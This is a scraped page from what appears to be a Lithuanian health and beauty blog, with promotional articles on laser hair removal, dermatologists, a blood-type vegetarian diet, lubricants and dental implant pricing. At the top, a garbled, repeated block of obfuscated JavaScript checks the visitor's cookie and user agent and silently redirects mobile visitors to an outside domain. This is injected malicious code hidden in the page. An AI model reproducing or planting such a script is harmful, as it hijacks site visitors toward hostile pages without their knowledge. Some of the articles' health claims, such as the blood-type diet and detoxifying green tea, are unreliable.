)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Depiliacija lazeriu yra viena saugiausių procedūrų

depiliacija lazeriuDepiliavimosi priemonių šiuo metu yra ganėtinai daug, tačiau niekas geriau nepašalina plaukų kaip depiliacija lazeriu. Tai procedūra, atliekama grožio klinikose. Norinčios pašalinti plaukus dabar turėtų akylai domėtis visomis priemonėmis, nes nustebsite sužinojusios, jog kai kurios procedūros net tik kad nėra itin patikimos, bet kai kurios tiesiog gali kaip reikiant pakenkti jūsų odai. Pavyzdžiui, yra specialių depiliacinių putų, kurias užsitepus ant plaukuotos vietos, tiesiog visi plaukai pasišalina. Blogiausia tai, kad tokia priemone jūs galite sukelti įvairius odos dirginimus – gali atsirasti nereikalingi bėrimai, oda taps jautri saulei ir t.t. Taip nutinka todėl, kad tokiose medžiagose yra tam tikrų cheminių medžiagų, kurių netoleruoja kai kurių žmonių organizmas. Tad, užuot ieškojusios įvairių priemonių, tiesiog pasidomėkite lazerinėmis technologijomis – jos yra bene vienos efektyviausių ir saugiausių šiuo metu.

Lazeriu depiliacija yra atliekama tam tikrose vietose. Pats pacientas gali rinktis nuo kurių vietų jis nori pašalinti plaukus. Pavyzdžiui, kai kurie žmonės turi apgamus ar tiesiog vietas, iš kurių nuolatos stėro ilgi ir stori plaukeliai. Jūs galite rinktis net ir tokias procedūras, kur plaukeliai būtų pašalinami ir itin mažais kiekiais, o tokiu atveju ir visos procedūros kaina bus daug mažesnė.

Depiliacija lazeriu atliekama tik tuomet, kai pacientas tinkamai laikosi odos priežiūros taisyklių, kurias pabrėžia gydytojas. Pirmiausia pacientas turi pasilankyti klinikoje. Ten jam gydytojas pasakys kaip tinkamai paruošti odą tokiai procedūrai. Įprastai siūloma vengti saulės ar soliariumo spindulių, taip pat neleidžiama prieš procedūrą odos tepti jokiais kremais. Ta vieta turi būti tinkamai paruošta prieš procedūrą, o nesilaikant gydytojo nurodytų taisyklių, procedūros metu gal atsirasti tam tik šalutiniai poveikiai. Po procedūros gali parausti oda, ją gali perštėti ir t.t. Štai kodėl svarbu laikytis visų gydytojų reikalavimų.

Šis depiliacijos metodas pasižymi tuo, kad lazeris pašalina plauko šaknį, o tai reiškia, kad jis nebeatauga, kaip tai nutinka depiliuojant vašku. Lazeriu atliekamos depiliacijos nėra brangios, žinant, kad rezultatas bus ilgalaikis ir tikrai džiuginantis.

Dermatologas gali padėti išspręsti daugelį odos, nagų ir plaukų problemų

Turbūt žinote, kad dermatologas yra medicinos daktaras, kuris specializuojasi gydant įvairias odos, nagų ir plaukų problemas. Kai kurios iš šių problemų yra tiesiogiai susijusios su akne, egzema, psoriaze, odos vėžiu, melanomomis ir kt. Kiekvienas profesionalus dermatologas turi medicininį išsilavinimą, todėl yra akredituotas teikti dermatologo paslaugas.

Kai kurie vartotojai dermatologus tapatina su kosmetologais, tačiau tai yra dvi visiškai skirtingos profesijos. Kosmetologai atlieka veido odos priežiūros procedūras, į pagalbą pasitelkiant įvairias kosmetikos ir grožio puoselėjimui skirtas priemones – taip pat atlieka ir veido valymo procedūras. Tuo tarpu dermatologas įvertina paciento odos, nagų ir plaukų būklę, o tuomet įprastai pritaiko gydymą tam tikrais medikamentais bei taip pat gali sudaryti labai aiškų tolimesnių veiksmų planą.

DermatologasKaip žinia, norint turėti sveiką ir gražią odą, tikrai nepakanka įsigyti vieną ar kitą kosmetinę priemonę, apie kurios didelę naudą ir efektyvumą kalbama reklamose. Kur kas daugiau dėmesio reikia skirti tinkamai odos priežiūrai, į pagalbą pasitelkiant natūralias priemones. Net jei jūsų veido oda yra labai lygi ir šviesi, tai dar nereiškia, kad nereikia ja rūpintis. Reguliarus veido valymas, įvairios kosmetinės procedūros, valančios ir atpalaiduojančios veido kaukės ir daugybė kitų priemonių yra būtinos, jei norime visuomet turėti spindinčią ir sveiką odą.

Žinoma, nereikėtų pamiršti ir sveikos mitybos bei fizinio aktyvumo. Galbūt ne kartą girdėjote posakį, kad esame tai, ką valgome. Tai labai aktualu ir kalbant apie mūsų grožį. Tai, ką kasdien vartojame, tiesiogiai įtakoja ir mūsų organizmo būklę. Jei užteršiame savo organizmą, tuomet nėra ko abejoti, kad neigiami padariniai pasirodys ant mūsų veido odos, neapmirštant silpnėjančių nagų ir plaukų. Todėl kiekvienas žmogus, kuriam svarbi jo graži ir sveika išvaizda, turėtų pasirūpinti kompleksinių grožio priežiūrai svarbių veiksmų visuma. Tik tuomet galima tikėtis geriausių rezultatų.

Taigi, jei iki šiol savo odos priežiūrai neskyrėte pakankamai dėmesio, o dabar susiduriate su vienokiomis ar kitokiomis problemomis, pasidomėkite dermatologų teikiamomis paslaugomis ir pasirinkę jums tinkamiausią – užsiregistruokite pirmajam vizitui.

Mano nauja mityba

AvokadasApie mitybą yra pridiskutuota šimtai laidų ir forumų ir straipsnių. Kur gi yra tiesa? Ar kiekviena žmogui reikalinga skirtinga mityba? Teko skaityti ir straipsnį, kur buvo teigiama, kad mityba priklauso nuo žmogaus kraujo grupės. Tai yra, jei nori būti sveikas, turėtum vengti kažkokių produktų ir kitų produktų vartoti daugiau. Tikėti ar tikėti? Na sako, kad apie tai yra ir knyga parašyta, o tokie tyrimai su kraujo grupėmis buvo atliekami daugiau kaip 30 metų. 30 metų! Skamba tikrai įtikinančiai. Taigi, būdamas antros kraujo grupės atstovas, perskaičiau, kad man labai tinka valgyti vaisius ir daržoves, o mėsa nėra būtina. Taigi, nusprendžiau savaitei atsisakyti mėsos ir stebėti savo kūno pokyčius.

                  Į pirkinių sąrašą įtraukiau daugiau žalumynų, bulvių, avokadų (kurie man anksčiau atrodė visai beskoniai, tačiau po savaitės valgymo pasidarė tikrai skanūs), įvairių žirnelių, pupų, riešutų, saulėgrąžų, datulių, razinų ir kitokių produktų. Galiu pasakyti, kad iš čia paminėtų produktų aš juos anksčiau valgydavau geriausiu atveju kartą per savaitę. Ką jau kalbėti apie avokadą – to išvis jau daug metų nė ragavęs nesu. Taigi, pradėjau savo naująją dietą.

                  Iš pradžių buvo sunku su patiekalais. Tiesiog grauždavau riešutus, valgydavau daržoves tiesiog be nieko. Jau antrą dieną tas man atsibodo ir pradėjau internete ieškoti vegetariškų receptų. O jau gausybė to gėrio! Pirmas gamintas patiekalas – pupų kotletai nepavyko. Gavosi košę. Paskui ją tepiau ant duonos ir taip įveikiau. Nenusisekus, išbandžiau vegetarišką restoraną mieste – čia patiekalai kur kas geresni nei mano gaminti, o sojos troškinys kone mėsos skonio! Taigi per savaitę čia užsukau netgi tris kartus. Tiesa ir namie pradėjo sektis gaminti daug geriau – jau ne vienas patiekalas buvo tikrai skanus. Rytą pradėdavau nuo pusryčių – avokadas ant duonos riekelės su sviestu – puikus sumuštinis! Pietums gamindavausi kažką, kieno receptą rasdavau internete. Na o vakarienei pasilikdavau tiesiog riešutų ar džiovintų vaisių pagraužimui. Nauja dieta pamažu įgavo ritmą.

                  Ar po savaitės pajutau kokių skirtumų kūne ir savijautoje? Tiesą sakant, nelabai. Na, pasijutau kiek lengvesnis, tai yra, nepersivalgydavau, o ir virškindavau greičiau, po pietų neaptingdavau. Norint pamatyti tokios dietos rezultatus, iššūkį reiktų pratęsti bent iki mėnesio. Galbūt tą ir padarysiu…

Plačiau apie avokadus – http://www.agronomija.lt/sveikata/avokadas/

Kaip išsirinkti lubrikantą?

Lubrikantas nėra viena iš tų priemonių, kurią rekomenduojama naudoti kiekvieno lytinio suartėjimo metu. Visgi, jeigu norite gyvenime pajusti ką nors naujo, o tai tikrai Jums rekomenduotume, tokiu atveju lubrikantai internetu – siūlomi. Kadangi rinkoje galime atrasti labai daug įvairių modelių ir pasirinkimų – susidėliokite kriterijus ir pasirinkite teisingai.

Silikoniniai lubrikantai internetu yra pats universaliausias pasirinkimas, kuris puikiai tinka tiek analiniam, tiek vaginaliniam seksui. Taigi, jeigu neturite užtektinai žinių, kurios galėtų padėti atrasti būtent Jums labiausiai tinkamą variantą – tokiu atveju siūlome šį. Paprasčiausiai jis tiks bet kokiu atveju ir užtikrintai atneš papildomą malonumą. Tiesa, kuomet norėsite šį lubrikantą nuplauti – teks kiek pasistengti. Visgi, jeigu mėgstate žaidimus vandenyje – tokiu atveju tai labai geras pasirinkimas.

Lubrikantas internetuEgzistuoja ir tokie lubrikantai, kurie sukurti aliejaus pavidalu. Tokiu atveju juos nuplauti yra labai paprasta ir nerekomenduojame jų naudoti vandenyje. Net ir gulint lovoje gali tekti kelis kartus pasinaudoti priemone, jeigu norite, kad būtų užtektinai drėgna. Aliejiniai lubrikantai internetu gali būti net pašildomi specialiose vonelėse. Tiesa, variantas – šildyti buteliuką tarp rankų.

Vazelininio pagrindo lubrikantas nėra geras pasirinkimas tokiu atveju, jeigu mylitės su prezervatyvu. Paprasčiausiai jis gali pažeisti sargio paviršių.

Galiausiai egzistuoja ir šaldantys arba jautrumą mažinantys lubrikantai internetu. Juos dažniausiai renkasi analinio sekso mėgėjai, homoseksualios poros.

Akivaizdu, kad egzistuoja platus pasirinkimas, tad kartais nuspręsti, kurie Jums tinka labiausiai – gana sunku. Siūlome pasikonsultuoti su profesionalais, kurie gali patarti ir rekomenduoti. Lubrikantai internetu suteikia galimybę gauti norimą prekę kur kas greičiau, paprasčiau, o jos kokybė bus itin aukšta.

  1. Kokią pinigų sumą galite skirti prekei?
  2. Ar lubrikantas reikalingas homoseksualiai ar heteroseksualiai porai?
  3. Gal priemonė Jums skirta masturbacijai?
  4. Ar naudosite ją vandenyje?

Kiekvienas iš atsakymų gali būti reikšmingas siekiant įsigyti labiausiai Jūsų poreikius patenkinantį variantą. Kadangi pasiūla yra tokia plati – nesunkiai pavyks atrasti tai, kas jums labiausiai tinka. Įvertinkite galimybes ir pasirinkite teisingai. Galiausiai, pasikonsultuokite su profesionalu, kuris gali patarti ir rekomenduoti.

Dermatologas padės rasti išeitį turint odos problemų

Tikriausiai sunku būtų rasti žmogų, kuris neturėtų jokių odos problemų. Iš tiesų, ne tik į paauglystę įžengę jaunuoliai, bet ir vyresnio amžiaus sulaukę suaugusieji nuolat susiduria su įvairiais bėrimais, patinimais, paraudimais bei kitais odos defektais, kurių atsiradimo priežastys gali būti pačios įvairiausios. Nepaisant to, kiekvienas nori, kad jo oda būtų kuo lygesnė ir sveikesnė, todėl nuolat ieško būtų, kurie pagelbėtų tokią odą išlaikyti. Įvairiausių odos priežiūros metodų ir priemonių galima rasti internete, tačiau kad ir kokios patikimos atrodytų, pirmiausią, ką reikia daryti norint užsiimti intensyvia odos priežiūra, tai pasikonsultuoti su tokiu žmogumi kaip dermatologas.

DermatologėŽinoma, prieš imantis kiek aršesnių odos gražinimo priemonių pirmiausia reikėtų įsitikinti, ar jūsų odos problemos nėra susijusios su jūsų gyvenimo būdu ar mityba. Pavyzdžiui, nuolatinis riebaus maisto vartojimas, mažas skysčių kiekis tikrai neprisideda prie odos būklės gerinimo. Todėl, jei jus kankina aknė ar nuolat iškylantys spuogai, pirmiausia reiktų pradėti riboti greito maisto, saldžių patiekalų kiekius, juos keisti daržovėmis, vaisiais, paukštiena ar žuvimi. Taip pat reikėtų gerti ir mažiau alkoholio, nes jis yra vienas produktų, prisidedančių prie odos darkymo. Kava irgi nėra pats geriausias dalykas jūsų odai, todėl ją reikėtų pakeisti žalia arbata, kuri turi organizmą detoksikuojančių savybių bei labiau tonizuoja net ir už trigubą espresso. Galiausiai, norint palaikyti švarią odą, rekomenduojama per dieną išgerti bent pusantro litro vandens, taip jūs ne tik palaikysite reikiamą skysčių kiekį organizme, bet ir jį išvalysite. Jei mitybos sureguliavimas jums laikui bėgant vis tiek nepadėjo susidoroti su odos problemomis, galbūt tai padės padaryti dermatologas. Apsilankę pas jį ir atlikę atitinkamus tyrimus turėtumėte sužinoti, kas jums tiksliai kelia alerginius bėrimus. Dermatologas taip pat patars, kokias kosmetines priemones reikėtų naudoti norint išvengti odos defektų, esant rimtoms odos problemoms, skirs medikamentus. Svarbiausia nepradėti vartoti jokių vaistų ar neaiškios kilmės kosmetinių produktų prieš tai nepasitarus su gydytoju ar bent jau vaistinininku. Kartais net ir geros kokybės produktai gali sukelti tik dar daugiau žalos, jei žmogus jiems yra alergiškas ir to nežino.

Dantų implantų kaina ne visur vienoda

dantu implantaiLietuvoje dantų implantų kaina priklauso ne tik nuo odontologijos klinikos darbo, o ir nuo pačių gaminių. Vieni juk yra daug kokybiškesni nei kiti, tad ir kainos dėl to gali skirtis. Dantų implantus gaminančios bendrovės naudoja skirtingas technologijas bei medžiagas, todėl niekuomet nebus taip, jog visos kainos bus vienodos. Pati procedūra taipogi nėra atliekama nemokamai – už ją pacientas turi sumokėti klinikos nustatytą įkainį. Norintiems pasinaudoti dantų implantavimo procedūra, siūlytume iš anksto kreiptis į kliniką ir prašyti visos informacijos apie būsimą procedūrą. Kiekvienam pacientui dantų implantavimas gali trukti skirtingą laikotarpį.

Pirmiausia, kainos nustatomos pagal medžiagų ir darbo sąnaudas. Jeigu jūs pasirinksite kokybiškus implantus, tai ir taip aišku, kad teks sumokėti kiek daugiau. Labiausiai kainą lemia būsimų implantų kiekis. Logiška, kad pacientas, kuris norėtų jog jam implantuotų kelis dantis, mokės daugiau nei tas, kuriam reikia vos vieno danties implanto. Būtent implantų kiekis lemia kainos skirtumus. Žinoma, dar nemažą įtaką daro ir patys gaminiai, nes kaip minėjome – vieno gamintojo implantai gali būti brangesni vien dėl pripažinimo ir aukštos kokybės.

Implantuoti dantis gali dauguma klinikų Lietuvoje, bet čia labiausiai reiktų pabrėžti privačias, nes viešos kažin ar atlieka tokias paslaugas. Privačiose klinikose ir taip gydymo paslaugos yra brangesnės, todėl turėkite galvoje, kad ir implantavimo procedūra gali būti brangoka. Kai kuriose klinikose yra siūlomi įvairių gamintojų implantai, tačiau kitose dirbama tik su vieno prekės ženklo gaminiais. Taip dažniausiai būna todėl, kad gydytojai, ilgą laiką naudoję vienus gaminius, ir pamatę, kad jie yra geriausi, dažniausiai visiems klientams siūlo rinktis būtent juos. Privačiose klinikose atliekama procedūra pagal kainą taip pat gali skirtis.

Vienur implantavimo procedūra be implantų gali būti brangesnė nei kitur. Tai lemia gydytojų kvalifikacija, klinikos populiarumas bei patikimumas. Visada geriausios klinikos nustato didesnius įkainius, tačiau jų darbas yra atliekamas nepriekaištingai ir kokybiškai. Dantų implantavimo procedūra gal trukti ir kelis mėnesius – priklausys kiek laiko užtruks pats implantų prigijimas po sraigtų įveržimo.